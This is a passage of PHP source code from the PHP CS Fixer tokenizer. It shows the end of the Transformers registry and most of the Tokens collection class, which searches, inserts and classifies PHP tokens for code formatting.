        }
    }

    /**
     * Add custom token.
     *
     * @param int    $value custom token value
     * @param string $name  custom token name
     */
    private function addCustomToken($value, $name)
    {
        if ($this->hasCustomToken($value)) {
            throw new \LogicException(
                sprintf(
                    'Trying to register token %s (%s), token with this value was already defined: %s',
                    $name, $value, $this->getCustomToken($value)
                )
            );
        }

        $this->customTokens[$value] = $name;
    }

    /**
     * Register all built in Transformers.
     */
    private function registerBuiltInTransformers()
    {
        static $registered = false;

        if ($registered) {
            return;
        }

        $registered = true;

        foreach (Finder::create()->files()->in(__DIR__.'/Transformer') as $file) {
            $relativeNamespace = $file->getRelativePath();
            $class = __NAMESPACE__.'\\Transformer\\'.($relativeNamespace ? $relativeNamespace.'\\' : '').$file->getBasename('.php');
            $this->registerTransformer(new $class());
        }
    }

    /**
     * Sort registered Transformers.
     */
    private function sortTransformers()
    {
        usort($this->items, function (TransformerInterface $a, TransformerInterface $b) {
            return Utils::cmpInt($b->getPriority(), $a->getPriority());
        });
    }
}
php-cs-fixer/Symfony/CS/Tokenizer/Tokens.php000066600000117653151456236460015005 0ustar00<?php

/*
 * This file is part of the PHP CS utility.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * This source file is subject to the MIT license that is bundled
 * with this source code in the file LICENSE.
 */

namespace Symfony\CS\Tokenizer;

use Symfony\CS\Utils;

/**
 * Collection of code tokens.
 * As a token prototype you should understand a single element generated by token_get_all.
 *
 * @author Dariusz Rumiński <dariusz.ruminski@gmail.com>
 * @author Gregor Harlan <gharlan@web.de>
 *
 * @method Token current()
 */
class Tokens extends \SplFixedArray
{
    const BLOCK_TYPE_PARENTHESIS_BRACE = 1;
    const BLOCK_TYPE_CURLY_BRACE = 2;
    const BLOCK_TYPE_SQUARE_BRACE = 3;
    const BLOCK_TYPE_DYNAMIC_PROP_BRACE = 4;
    const BLOCK_TYPE_DYNAMIC_VAR_BRACE = 5;

    /**
     * Static class cache.
     *
     * @var array
     */
    private static $cache = array();

    /**
     * crc32 hash of code string.
     *
     * @var string
     */
    private $codeHash;

    /**
     * Clear cache - one position or all of them.
     *
     * @param string|null $key position to clear, when null clear all
     */
    public static function clearCache($key = null)
    {
        if (null === $key) {
            self::$cache = array();

            return;
        }

        if (self::hasCache($key)) {
            unset(self::$cache[$key]);
        }
    }

    /**
     * Detect type of block.
     *
     * @param Token $token token
     *
     * @return null|array array with 'type' and 'isStart' keys or null if not found
     */
    public static function detectBlockType(Token $token)
    {
        foreach (self::getBlockEdgeDefinitions() as $type => $definition) {
            if ($token->equals($definition['start'])) {
                return array('type' => $type, 'isStart' => true);
            }

            if ($token->equals($definition['end'])) {
                return array('type' => $type, 'isStart' => false);
            }
        }

        return;
    }

    /**
     * Create token collection from array.
     *
     * @param Token[] $array       the array to import
     * @param bool    $saveIndexes save the numeric indexes used in the original array, default is yes
     *
     * @return Tokens
     */
    public static function fromArray($array, $saveIndexes = null)
    {
        $tokens = new self(count($array));

        if (null === $saveIndexes || $saveIndexes) {
            foreach ($array as $key => $val) {
                $tokens[$key] = $val;
            }

            return $tokens;
        }

        $index = 0;

        foreach ($array as $val) {
            $tokens[$index++] = $val;
        }

        return $tokens;
    }

    /**
     * Create token collection directly from code.
     *
     * @param string $code PHP code
     *
     * @return Tokens
     */
    public static function fromCode($code)
    {
        $codeHash = crc32($code);

        if (self::hasCache($codeHash)) {
            $tokens = self::getCache($codeHash);

            // generate the code to recalculate the hash
            $tokens->generateCode();

            if ($codeHash === $tokens->codeHash) {
                $tokens->clearEmptyTokens();

                return $tokens;
            }
        }

        $tokens = new self();
        $tokens->setCode($code);

        return $tokens;
    }

    /**
     * Return block edge definitions.
     *
     * @return array
     */
    private static function getBlockEdgeDefinitions()
    {
        return array(
            self::BLOCK_TYPE_CURLY_BRACE => array(
                'start' => '{',
                'end' => '}',
            ),
            self::BLOCK_TYPE_PARENTHESIS_BRACE => array(
                'start' => '(',
                'end' => ')',
            ),
            self::BLOCK_TYPE_SQUARE_BRACE => array(
                'start' => '[',
                'end' => ']',
            ),
            self::BLOCK_TYPE_DYNAMIC_PROP_BRACE => array(
                'start' => array(CT_DYNAMIC_PROP_BRACE_OPEN, '{'),
                'end' => array(CT_DYNAMIC_PROP_BRACE_CLOSE, '}'),
            ),
            self::BLOCK_TYPE_DYNAMIC_VAR_BRACE => array(
                'start' => array(CT_DYNAMIC_VAR_BRACE_OPEN, '{'),
                'end' => array(CT_DYNAMIC_VAR_BRACE_CLOSE, '}'),
            ),
        );
    }

    /**
     * Get cache value for given key.
     *
     * @param string $key item key
     *
     * @return Tokens
     */
    private static function getCache($key)
    {
        if (!self::hasCache($key)) {
            throw new \OutOfBoundsException(sprintf('Unknown cache key: %s', $key));
        }

        return self::$cache[$key];
    }

    /**
     * Check if given key exists in cache.
     *
     * @param string $key item key
     *
     * @return bool
     */
    private static function hasCache($key)
    {
        return isset(self::$cache[$key]);
    }

    /**
     * Check whether passed method name is one of magic methods.
     *
     * @param string $name name of method
     *
     * @return bool is method a magical
     */
    public static function isMethodNameIsMagic($name)
    {
        static $magicMethods = array(
            '__construct', '__destruct', '__call', '__callStatic', '__get', '__set', '__isset', '__unset',
            '__sleep', '__wakeup', '__toString', '__invoke', '__set_state', '__clone',
        );

        return in_array($name, $magicMethods, true);
    }

    /**
     * Set cache item.
     *
     * @param string $key   item key
     * @param Tokens $value item value
     */
    private static function setCache($key, Tokens $value)
    {
        self::$cache[$key] = $value;
    }

    /**
     * Change code hash.
     *
     * Remove old cache and set new one.
     *
     * @param string $codeHash new code hash
     */
    private function changeCodeHash($codeHash)
    {
        if (null !== $this->codeHash) {
            self::clearCache($this->codeHash);
        }

        $this->codeHash = $codeHash;
        self::setCache($this->codeHash, $this);
    }

    /**
     * Clear empty tokens.
     *
     * Empty tokens can occur e.g. after calling clear on element of collection.
     */
    public function clearEmptyTokens()
    {
        $count = 0;

        foreach ($this as $token) {
            if (!$token->isEmpty()) {
                $this[$count++] = $token;
            }
        }

        $this->setSize($count);
    }

    /**
     * Ensure that on given index is a whitespace with given kind.
     *
     * If there is a whitespace then it's content will be modified.
     * If not - the new Token will be added.
     *
     * @param int    $index       index
     * @param int    $indexOffset index offset for Token insertion
     * @param string $whitespace  whitespace to set
     *
     * @return bool if new Token was added
     */
    public function ensureWhitespaceAtIndex($index, $indexOffset, $whitespace)
    {
        $removeLastCommentLine = function (Token $token, $indexOffset) {
            // because comments tokens are greedy and may consume single \n if we are putting whitespace after it let trim that \n
            if (1 === $indexOffset && $token->isGivenKind(array(T_COMMENT, T_DOC_COMMENT))) {
                $content = $token->getContent();

                if ("\n" === $content[strlen($content) - 1]) {
                    $token->setContent(substr($content, 0, -1));
                }
            }
        };

        if ($this[$index]->isWhitespace()) {
            $removeLastCommentLine($this[$index - 1], $indexOffset);
            $this->overrideAt($index, array(T_WHITESPACE, $whitespace, $this[$index]->getLine()));

            return false;
        }

        $removeLastCommentLine($this[$index], $indexOffset);

        $this->insertAt(
            $index + $indexOffset,
            array(
                new Token(array(T_WHITESPACE, $whitespace)),
            )
        );

        return true;
    }

    /**
     * Find block end.
     *
     * @param int  $type        type of block, one of BLOCK_TYPE_*
     * @param int  $searchIndex index of opening brace
     * @param bool $findEnd     if method should find block's end, default true, otherwise method find block's start
     *
     * @return int index of closing brace
     */
    public function findBlockEnd($type, $searchIndex, $findEnd = true)
    {
        $blockEdgeDefinitions = self::getBlockEdgeDefinitions();

        if (!isset($blockEdgeDefinitions[$type])) {
            throw new \InvalidArgumentException(sprintf('Invalid param type: %s', $type));
        }

        $startEdge = $blockEdgeDefinitions[$type]['start'];
        $endEdge = $blockEdgeDefinitions[$type]['end'];
        $startIndex = $searchIndex;
        $endIndex = $this->count() - 1;
        $indexOffset = 1;

        if (!$findEnd) {
            list($startEdge, $endEdge) = array($endEdge, $startEdge);
            $indexOffset = -1;
            $endIndex = 0;
        }

        if (!$this[$startIndex]->equals($startEdge)) {
            throw new \InvalidArgumentException('Invalid param $startIndex - not a proper block start');
        }

        $blockLevel = 0;

        for ($index = $startIndex; $index !== $endIndex; $index += $indexOffset) {
            $token = $this[$index];

            if ($token->equals($startEdge)) {
                ++$blockLevel;

                continue;
            }

            if ($token->equals($endEdge)) {
                --$blockLevel;

                if (0 === $blockLevel) {
                    break;
                }

                continue;
            }
        }

        if (!$this[$index]->equals($endEdge)) {
            throw new \UnexpectedValueException('Missing block end');
        }

        return $index;
    }

    /**
     * Find tokens of given kind.
     *
     * @param int|array $possibleKind kind or array of kind
     *
     * @return array array of tokens of given kinds or assoc array of arrays
     */
    public function findGivenKind($possibleKind)
    {
        $this->rewind();

        $elements = array();
        $possibleKinds = (array) $possibleKind;

        foreach ($possibleKinds as $kind) {
            $elements[$kind] = array();
        }

        foreach ($this as $index => $token) {
            if ($token->isGivenKind($possibleKinds)) {
                $elements[$token->getId()][$index] = $token;
            }
        }

        return is_array($possibleKind) ? $elements : $elements[$possibleKind];
    }

    /**
     * Generate code from tokens.
     *
     * @return string
     */
    public function generateCode()
    {
        $code = $this->generatePartialCode(0, count($this) - 1);
        $this->changeCodeHash(crc32($code));

        return $code;
    }

    /**
     * Generate code from tokens between given indexes.
     *
     * @param int $start start index
     * @param int $end   end index
     *
     * @return string
     */
    public function generatePartialCode($start, $end)
    {
        $code = '';

        for ($i = $start; $i <= $end; ++$i) {
            $code .= $this[$i]->getContent();
        }

        return $code;
    }

    /**
     * Get indexes of methods and properties in classy code (classes, interfaces and traits).
     *
     * @return array
     */
    public function getClassyElements()
    {
        $this->rewind();

        $elements = array();
        $inClass = false;
        $curlyBracesLevel = 0;
        $bracesLevel = 0;

        foreach ($this as $index => $token) {
            if ($token->isGivenKind(T_ENCAPSED_AND_WHITESPACE)) {
                continue;
            }

            if (!$inClass) {
                $inClass = $token->isClassy();
                continue;
            }

            if ($token->equals('(')) {
                ++$bracesLevel;
                continue;
            }

            if ($token->equals(')')) {
                --$bracesLevel;
                continue;
            }

            if ($token->equals('{')) {
                ++$curlyBracesLevel;
                continue;
            }

            if ($token->equals('}')) {
                --$curlyBracesLevel;

                if (0 === $curlyBracesLevel) {
                    $inClass = false;
                }

                continue;
            }

            if (1 !== $curlyBracesLevel || !$token->isArray()) {
                continue;
            }

            if (0 === $bracesLevel && $token->isGivenKind(T_VARIABLE)) {
                $elements[$index] = array('token' => $token, 'type' => 'property');
                continue;
            }

            if ($token->isGivenKind(T_FUNCTION)) {
                $elements[$index] = array('token' => $token, 'type' => 'method');
            }
        }

        return $elements;
    }

    /**
     * Get indexes of namespace uses.
     *
     * @param bool $perNamespace Return namespace uses per namespace
     *
     * @return array|array[]
     */
    public function getImportUseIndexes($perNamespace = false)
    {
        $this->rewind();

        $uses = array();
        $namespaceIndex = 0;

        for ($index = 0, $limit = $this->count(); $index < $limit; ++$index) {
            $token = $this[$index];

            if ($token->isGivenKind(T_NAMESPACE)) {
                $nextTokenIndex = $this->getNextTokenOfKind($index, array(';', '{'));
                $nextToken = $this[$nextTokenIndex];

                if ($nextToken->equals('{')) {
                    $index = $nextTokenIndex;
                }

                if ($perNamespace) {
                    ++$namespaceIndex;
                }

                continue;
            }

            // Skip whole class braces content.
            // The only { that interest us is the one directly after T_NAMESPACE and is handled above
            // That way we can skip for example whole tokens in class declaration, therefore skip `T_USE` for traits.
            if ($token->equals('{')) {
                $index = $this->findBlockEnd(self::BLOCK_TYPE_CURLY_BRACE, $index);
                continue;
            }

            if (!$token->isGivenKind(T_USE)) {
                continue;
            }

            $nextToken = $this[$this->getNextMeaningfulToken($index)];

            // ignore function () use ($foo) {}
            if ($nextToken->equals('(')) {
                continue;
            }

            $uses[$namespaceIndex][] = $index;
        }

        if (!$perNamespace && isset($uses[$namespaceIndex])) {
            return $uses[$namespaceIndex];
        }

        return $uses;
    }

    /**
     * Get index for closest next token which is non whitespace.
     *
     * This method is shorthand for getNonWhitespaceSibling method.
     *
     * @param int   $index token index
     * @param array $opts  array of extra options for isWhitespace method
     *
     * @return int|null
     */
    public function getNextNonWhitespace($index, array $opts = array())
    {
        return $this->getNonWhitespaceSibling($index, 1, $opts);
    }

    /**
     * Get index for closest next token of given kind.
     *
     * This method is shorthand for getTokenOfKindSibling method.
     *
     * @param int         $index         token index
     * @param array       $tokens        possible tokens
     * @param bool|bool[] $caseSensitive global case sensitiveness or an array of booleans, whose keys should match
     *                                   the ones used in $others. If any is missing, the default case-sensitive
     *                                   comparison is used.
     *
     * @return int|null
     */
    public function getNextTokenOfKind($index, array $tokens = array(), $caseSensitive = true)
    {
        return $this->getTokenOfKindSibling($index, 1, $tokens, $caseSensitive);
    }

    /**
     * Get index for closest sibling token which is non whitespace.
     *
     * @param int   $index     token index
     * @param int   $direction direction for looking, +1 or -1
     * @param array $opts      array of extra options for isWhitespace method
     *
     * @return int|null
     */
    public function getNonWhitespaceSibling($index, $direction, array $opts = array())
    {
        while (true) {
            $index += $direction;

            if (!$this->offsetExists($index)) {
                return;
            }

            $token = $this[$index];

            if (!$token->isWhitespace($opts)) {
                return $index;
            }
        }
    }

    /**
     * Get index for closest sibling token which is not empty.
     *
     * @param int $index     token index
     * @param int $direction direction for looking, +1 or -1
     *
     * @return int|null
     */
    public function getNonEmptySibling($index, $direction)
    {
        while (true) {
            $index += $direction;

            if (!$this->offsetExists($index)) {
                return;
            }

            if (!$this[$index]->isEmpty()) {
                return $index;
            }
        }
    }

    /**
     * Get index for closest previous token which is non whitespace.
     *
     * This method is shorthand for getNonWhitespaceSibling method.
     *
     * @param int   $index token index
     * @param array $opts  array of extra options for isWhitespace method
     *
     * @return int|null
     */
    public function getPrevNonWhitespace($index, array $opts = array())
    {
        return $this->getNonWhitespaceSibling($index, -1, $opts);
    }

    /**
     * Get index for closest previous token of given kind.
     * This method is shorthand for getTokenOfKindSibling method.
     *
     * @param int         $index         token index
     * @param array       $tokens        possible tokens
     * @param bool|bool[] $caseSensitive global case sensitiveness or an array of booleans, whose keys should match
     *                                   the ones used in $others. If any is missing, the default case-sensitive
     *                                   comparison is used.
     *
     * @return int|null
     */
    public function getPrevTokenOfKind($index, array $tokens = array(), $caseSensitive = true)
    {
        return $this->getTokenOfKindSibling($index, -1, $tokens, $caseSensitive);
    }

    /**
     * Get index for closest sibling token of given kind.
     *
     * @param int         $index         token index
     * @param int         $direction     direction for looking, +1 or -1
     * @param array       $tokens        possible tokens
     * @param bool|bool[] $caseSensitive global case sensitiveness or an array of booleans, whose keys should match
     *                                   the ones used in $others. If any is missing, the default case-sensitive
     *                                   comparison is used.
     *
     * @return int|null
     */
    public function getTokenOfKindSibling($index, $direction, array $tokens = array(), $caseSensitive = true)
    {
        while (true) {
            $index += $direction;

            if (!$this->offsetExists($index)) {
                return;
            }

            $token = $this[$index];

            if ($token->equalsAny($tokens, $caseSensitive)) {
                return $index;
            }
        }
    }

    /**
     * Get index for closest sibling token not of given kind.
     *
     * @param int   $index     token index
     * @param int   $direction direction for looking, +1 or -1
     * @param array $tokens    possible tokens
     *
     * @return int|null
     */
    public function getTokenNotOfKindSibling($index, $direction, array $tokens = array())
    {
        while (true) {
            $index += $direction;

            if (!$this->offsetExists($index)) {
                return;
            }

            $token = $this[$index];

            if ($token->isEmpty()) {
                continue;
            }

            if ($token->equalsAny($tokens)) {
                continue;
            }

            return $index;
        }
    }

    /**
     * Get index for closest sibling token that is not a whitespace or comment.
     *
     * @param int $index     token index
     * @param int $direction direction for looking, +1 or -1
     *
     * @return int|null
     */
    public function getMeaningfulTokenSibling($index, $direction)
    {
        return $this->getTokenNotOfKindSibling(
            $index,
            $direction,
            array(array(T_WHITESPACE), array(T_COMMENT), array(T_DOC_COMMENT))
        );
    }

    /**
     * Get index for closest next token that is not a whitespace or comment.
     *
     * @param int $index token index
     *
     * @return int|null
     */
    public function getNextMeaningfulToken($index)
    {
        return $this->getMeaningfulTokenSibling($index, 1);
    }

    /**
     * Get index for closest previous token that is not a whitespace or comment.
     *
     * @param int $index token index
     *
     * @return int|null
     */
    public function getPrevMeaningfulToken($index)
    {
        return $this->getMeaningfulTokenSibling($index, -1);
    }

    /**
     * Find a sequence of meaningful tokens and returns the array of their locations.
     *
     * @param array      $sequence      an array of tokens (same format used by getNextTokenOfKind)
     * @param int        $start         start index, defaulting to the start of the file
     * @param int        $end           end index, defaulting to the end of the file
     * @param bool|array $caseSensitive global case sensitiveness or an array of booleans, whose keys should match
     *                                  the ones used in $others. If any is missing, the default case-sensitive
     *                                  comparison is used.
     *
     * @return array|null an array containing the tokens matching the sequence elements, indexed by their position
     */
    public function findSequence(array $sequence, $start = 0, $end = null, $caseSensitive = true)
    {
        // $end defaults to the end of the collection
        if (null === $end) {
            $end = count($this) - 1;
        }

        if (!count($sequence)) {
            throw new \InvalidArgumentException('Invalid sequence');
        }

        // make sure the sequence content is "meaningful"
        foreach ($sequence as $key => $token) {
            // if not a Token instance already, we convert it to verify the meaningfulness
            if (!$token instanceof Token) {
                if (is_array($token) && !isset($token[1])) {
                    // fake some content as it is required by the Token constructor,
                    // although optional for search purposes
                    $token[1] = '';
                }
                $token = new Token($token);
            }
            if ($token->isWhitespace() || $token->isComment() || $token->isEmpty()) {
                throw new \InvalidArgumentException(sprintf('Non-meaningful token at position: %s', $key));
            }
        }

        // remove the first token from the sequence, so we can freely iterate through the sequence after a match to
        // the first one is found
        $key = key($sequence);
        $firstCs = Token::isKeyCaseSensitive($caseSensitive, $key);
        $firstToken = $sequence[$key];
        unset($sequence[$key]);

        // begin searching for the first token in the sequence (start included)
        $index = $start - 1;
        while (null !== $index && $index <= $end) {
            $index = $this->getNextTokenOfKind($index, array($firstToken), $firstCs);

            // ensure we found a match and didn't get past the end index
            if (null === $index || $index > $end) {
                return;
            }

            // initialise the result array with the current index
            $result = array($index => $this[$index]);

            // advance cursor to the current position
            $currIdx = $index;

            // iterate through the remaining tokens in the sequence
            foreach ($sequence as $key => $token) {
                $currIdx = $this->getNextMeaningfulToken($currIdx);

                // ensure we didn't go too far
                if (null === $currIdx || $currIdx > $end) {
                    return;
                }

                if (!$this[$currIdx]->equals($token, Token::isKeyCaseSensitive($caseSensitive, $key))) {
                    // not a match, restart the outer loop
                    continue 2;
                }

                // append index to the result array
                $result[$currIdx] = $this[$currIdx];
            }

            // do we have a complete match?
            // hint: $result is bigger than $sequence since the first token has been removed from the latter
            if (count($sequence) < count($result)) {
                return $result;
            }
        }
    }

    /**
     * Insert instances of Token inside collection.
     *
     * @param int                  $index start inserting index
     * @param Tokens|Token[]|Token $items instances of Token to insert
     */
    public function insertAt($index, $items)
    {
        $items = is_array($items) || $items instanceof self ? $items : array($items);
        $itemsCnt = count($items);
        $oldSize = count($this);

        $this->setSize($oldSize + $itemsCnt);

        for ($i = $oldSize + $itemsCnt - 1; $i >= $index; --$i) {
            $this[$i] = isset($this[$i - $itemsCnt]) ? $this[$i - $itemsCnt] : new Token('');
        }

        for ($i = 0; $i < $itemsCnt; ++$i) {
            $this[$i + $index] = $items[$i];
        }
    }

    /**
     * Check if there is an array at given index.
     *
     * @param int $index
     *
     * @return bool
     */
    public function isArray($index)
    {
        return $this[$index]->isGivenKind(T_ARRAY) || $this->isShortArray($index);
    }

    /**
     * Check if the array at index is multiline.
     *
     * This only checks the root-level of the array.
     *
     * @param int $index
     *
     * @return bool
     */
    public function isArrayMultiLine($index)
    {
        if (!$this->isArray($index)) {
            throw new \InvalidArgumentException('Not an array at given index');
        }

        // Skip only when its an array, for short arrays we need the brace for correct
        // level counting
        if ($this[$index]->isGivenKind(T_ARRAY)) {
            $index = $this->getNextMeaningfulToken($index);
        }

        $endIndex = $this[$index]->equals('(')
            ? $this->findBlockEnd(self::BLOCK_TYPE_PARENTHESIS_BRACE, $index)
            : $this->findBlockEnd(self::BLOCK_TYPE_SQUARE_BRACE, $index)
        ;

        for (++$index; $index < $endIndex; ++$index) {
            $token = $this[$index];
            $blockType = static::detectBlockType($token);

            if ($blockType && $blockType['isStart']) {
                $index = $this->findBlockEnd($blockType['type'], $index);
                continue;
            }

            if (
                $token->isGivenKind(T_WHITESPACE) &&
                !$this[$index - 1]->isGivenKind(T_END_HEREDOC) &&
                false !== strpos($token->getContent(), "\n")
            ) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check if there is an anonymous class under given index.
     *
     * @param int $index
     *
     * @return bool
     */
    public function isAnonymousClass($index)
    {
        $token = $this[$index];

        if (!$token->isClassy()) {
            throw new \LogicException('No classy token at given index');
        }

        if (!$token->isGivenKind(T_CLASS)) {
            return false;
        }

        return $this[$this->getPrevMeaningfulToken($index)]->isGivenKind(T_NEW);
    }

    /**
     * Check if there is a lambda function under given index.
     *
     * @param int $index
     *
     * @return bool
     */
    public function isLambda($index)
    {
        $token = $this[$index];

        if (!$token->isGivenKind(T_FUNCTION)) {
            throw new \LogicException('No T_FUNCTION at given index');
        }

        $nextIndex = $this->getNextMeaningfulToken($index);
        $nextToken = $this[$nextIndex];

        // skip & for `function & () {}` syntax
        if ($nextToken->equals('&')) {
            $nextIndex = $this->getNextMeaningfulToken($nextIndex);
            $nextToken = $this[$nextIndex];
        }

        return $nextToken->equals('(');
    }

    /**
     * Check if partial code is multiline.
     *
     * @param int $start start index
     * @param int $end   end index
     *
     * @return bool
     */
    public function isPartialCodeMultiline($start, $end)
    {
        for ($i = $start; $i <= $end; ++$i) {
            if (false !== strpos($this[$i]->getContent(), "\n")) {
                return true;
            }
        }

        return false;
    }

    /**
     * Check if the array at index uses the short-syntax.
     *
     * @param int $index
     *
     * @return bool
     */
    public function isShortArray($index)
    {
        static $disallowedPrevTokens = array(
            ']',
            '}',
            ')',
            '"',
            array(T_CONSTANT_ENCAPSED_STRING),
            array(T_STRING),
            array(T_STRING_VARNAME),
            array(T_VARIABLE),
            array(CT_DYNAMIC_PROP_BRACE_CLOSE),
            array(CT_DYNAMIC_VAR_BRACE_CLOSE),
        );

        $token = $this[$index];

        if (!$token->equals('[')) {
            return false;
        }

        $prevToken = $this[$this->getPrevMeaningfulToken($index)];

        if (!$prevToken->equalsAny($disallowedPrevTokens)) {
            return true;
        }

        return false;
    }

    /**
     * Checks if there is an unary successor operator under given index.
     *
     * @param int $index
     *
     * @return bool
     */
    public function isUnarySuccessorOperator($index)
    {
        static $allowedPrevToken = array(
            ']',
            array(T_STRING),
            array(T_VARIABLE),
            array(CT_DYNAMIC_PROP_BRACE_CLOSE),
            array(CT_DYNAMIC_VAR_BRACE_CLOSE),
        );

        $token = $this[$index];

        if (!$token->isGivenKind(array(T_INC, T_DEC))) {
            return false;
        }

        $prevToken = $this[$this->getPrevMeaningfulToken($index)];

        return $prevToken->equalsAny($allowedPrevToken);
    }

    /**
     * Checks if there is an unary predecessor operator under given index.
     *
     * @param int $index
     *
     * @return bool
     */
    public function isUnaryPredecessorOperator($index)
    {
        static $potentialSuccessorOperator = array(T_INC, T_DEC);

        static $potentialBinaryOperator = array('+', '-', '&');

        static $otherOperators;
        if (null === $otherOperators) {
            $otherOperators = array('!', '~', '@');
            if (defined('T_ELLIPSIS')) {
                $otherOperators[] = array(T_ELLIPSIS);
            }
        }

        static $disallowedPrevTokens;
        if (null === $disallowedPrevTokens) {
            $disallowedPrevTokens = array(
                ']',
                '}',
                ')',
                '"',
                '`',
                array(CT_DYNAMIC_PROP_BRACE_CLOSE),
                array(CT_DYNAMIC_VAR_BRACE_CLOSE),
                array(T_CLASS_C),
                array(T_CONSTANT_ENCAPSED_STRING),
                array(T_DEC),
                array(T_DIR),
                array(T_DNUMBER),
                array(T_FILE),
                array(T_FUNC_C),
                array(T_INC),
                array(T_LINE),
                array(T_LNUMBER),
                array(T_METHOD_C),
                array(T_NS_C),
                array(T_STRING),
                array(T_VARIABLE),
            );
            if (defined('T_TRAIT_C')) {
                $disallowedPrevTokens[] = array(T_TRAIT_C);
            }
        }

        $token = $this[$index];

        if ($token->isGivenKind($potentialSuccessorOperator)) {
            return !$this->isUnarySuccessorOperator($index);
        }

        if ($token->equalsAny($otherOperators)) {
            return true;
        }

        if (!$token->equalsAny($potentialBinaryOperator)) {
            return false;
        }

        $prevToken = $this[$this->getPrevMeaningfulToken($index)];

        if (!$prevToken->equalsAny($disallowedPrevTokens)) {
            return true;
        }

        if (!$token->equals('&') || !$prevToken->isGivenKind(T_STRING)) {
            return false;
        }

        static $searchTokens = array(
            ';',
            '{',
            '}',
            array(T_FUNCTION),
            array(T_OPEN_TAG),
            array(T_OPEN_TAG_WITH_ECHO),
        );
        $prevToken = $this[$this->getPrevTokenOfKind($index, $searchTokens)];

        return $prevToken->isGivenKind(T_FUNCTION);
    }

    /**
     * Checks if there is a binary operator under given index.
     *
     * @param int $index
     *
     * @return bool
     */
    public function isBinaryOperator($index)
    {
        static $nonArrayOperators = array(
            '=' => true,
            '*' => true,
            '/' => true,
            '%' => true,
            '<' => true,
            '>' => true,
            '|' => true,
            '^' => true,
        );

        static $potentialUnaryNonArrayOperators = array(
            '+' => true,
            '-' => true,
            '&' => true,
        );

        static $arrayOperators;
        if (null === $arrayOperators) {
            $arrayOperators = array(
                T_AND_EQUAL => true,            // &=
                T_BOOLEAN_AND => true,          // &&
                T_BOOLEAN_OR => true,           // ||
                T_CONCAT_EQUAL => true,         // .=
                T_DIV_EQUAL => true,            // /=
                T_DOUBLE_ARROW => true,         // =>
                T_IS_EQUAL => true,             // ==
                T_IS_GREATER_OR_EQUAL => true,  // >=
                T_IS_IDENTICAL => true,         // ===
                T_IS_NOT_EQUAL => true,         // !=, <>
                T_IS_NOT_IDENTICAL => true,     // !==
                T_IS_SMALLER_OR_EQUAL => true,  // <=
                T_LOGICAL_AND => true,          // and
                T_LOGICAL_OR => true,           // or
                T_LOGICAL_XOR => true,          // xor
                T_MINUS_EQUAL => true,          // -=
                T_MOD_EQUAL => true,            // %=
                T_MUL_EQUAL => true,            // *=
                T_OR_EQUAL => true,             // |=
                T_PLUS_EQUAL => true,           // +=
                T_SL => true,                   // <<
                T_SL_EQUAL => true,             // <<=
                T_SR => true,                   // >>
                T_SR_EQUAL => true,             // >>=
                T_XOR_EQUAL => true,            // ^=
            );
            if (defined('T_POW')) {
                $arrayOperators[T_POW] = true;          // **
                $arrayOperators[T_POW_EQUAL] = true;    // **=
            }
            if (defined('T_SPACESHIP')) {
                $arrayOperators[T_SPACESHIP] = true;    // <=>
            }
            if (defined('T_COALESCE')) {
                $arrayOperators[T_COALESCE] = true;     // ??
            }
        }

        $token = $this[$index];

        if ($token->isArray()) {
            return isset($arrayOperators[$token->getId()]);
        }

        if (isset($nonArrayOperators[$token->getContent()])) {
            return true;
        }

        if (isset($potentialUnaryNonArrayOperators[$token->getContent()])) {
            return !$this->isUnaryPredecessorOperator($index);
        }

        return false;
    }

    /*
     * Override token at given index and register it.
     *
     * @param Token|array|string $token token prototype
     */
    public function overrideAt($index, $token)
    {
        $this[$index]->override($token);
    }

    /**
     * Removes all the leading whitespace.
     *
     * @param int   $index
     * @param array $opts  optional array of extra options for Token::isWhitespace method
     */
    public function removeLeadingWhitespace($index, array $opts = array())
    {
        if (isset($this[$index - 1]) && $this[$index - 1]->isWhitespace($opts)) {
            $this[$index - 1]->clear();
        }
    }

    /**
     * Removes all the trailing whitespace.
     *
     * @param int   $index
     * @param array $opts  optional array of extra options for Token::isWhitespace method
     */
    public function removeTrailingWhitespace($index, array $opts = array())
    {
        if (isset($this[$index + 1]) && $this[$index + 1]->isWhitespace($opts)) {
            $this[$index + 1]->clear();
        }
    }

    /**
     * Set code. Clear all current content and replace it by new Token items generated from code directly.
     *
     * @param string $code PHP code
     */
    public function setCode($code)
    {
        // clear memory
        $this->setSize(0);

        $tokens = defined('TOKEN_PARSE')
            ? token_get_all($code, TOKEN_PARSE)
            : token_get_all($code);

        $this->setSize(count($tokens));

        foreach ($tokens as $index => $token) {
            $this[$index] = new Token($token);
        }

        $transformers = Transformers::create();
        $transformers->transform($this);

        $this->rewind();
        $this->changeCodeHash(crc32($code));
    }

    public function toJson()
    {
        static $options = null;

        if (null === $options) {
            $options = Utils::calculateBitmask(array('JSON_PRETTY_PRINT', 'JSON_NUMERIC_CHECK'));
        }

        $output = new \SplFixedArray(count($this));

        foreach ($this as $index => $token) {
            $output[$index] = $token->toArray();
        }

        $this->rewind();

        return json_encode($output, $options);
    }

    /**
     * Clone tokens collection.
     */
    public function __clone()
    {
        foreach ($this as $key => $val) {
            $this[$key] = clone $val;
        }
    }

    /**
     * Clear tokens in the given range.
     *
     * @param int $indexStart
     * @param int $indexEnd
     */
    public function clearRange($indexStart, $indexEnd)
    {
        for ($i = $indexStart; $i <= $indexEnd; ++$i) {
            $this[$i]->clear();
        }
    }

    /**
     * Checks for monolithic PHP code.
     *
     * Checks that the code is pure PHP code, in a single code block, starting
     * with an open tag.
     *
     * @return bool
     */
    public function isMonolithicPhp()
    {
        $size = $this->count();

        if (0 === $size) {
            return false;
        }

        // If code is not monolithic there is a great chance that first or last token is `T_INLINE_HTML`:
        if ($this[0]->isGivenKind(T_INLINE_HTML) || $this[$size - 1]->isGivenKind(T_INLINE_HTML)) {
            return false;
        }

        for ($index = 1; $index < $size; ++$index) {
            if (
                $this[$index]->isGivenKind(array(T_INLINE_HTML, T_OPEN_TAG, T_OPEN_TAG_WITH_ECHO))
                || (
                    /*
                     * HHVM parses '<?=' as T_ECHO instead of T_OPEN_TAG_WITH_ECHO
                     *
                     * @see https://github.com/facebook/hhvm/issues/4809
                     * @see https://github.com/facebook/hhvm/issues/7161
                     */
                    defined('HHVM_VERSION')
                    && $this[$index]->equals(array(T_ECHO, '<?='))
                )
            ) {
                return false;
            }
        }

        return true;
    }

    /**
     * Clear token and merge surrounding whitespace tokens.
     *
     * @param int $index
     */
    public function clearTokenAndMergeSurroundingWhitespace($index)
    {
        $count = count($this);
        $this[$index]->clear();

        if ($index === $count - 1) {
            return;
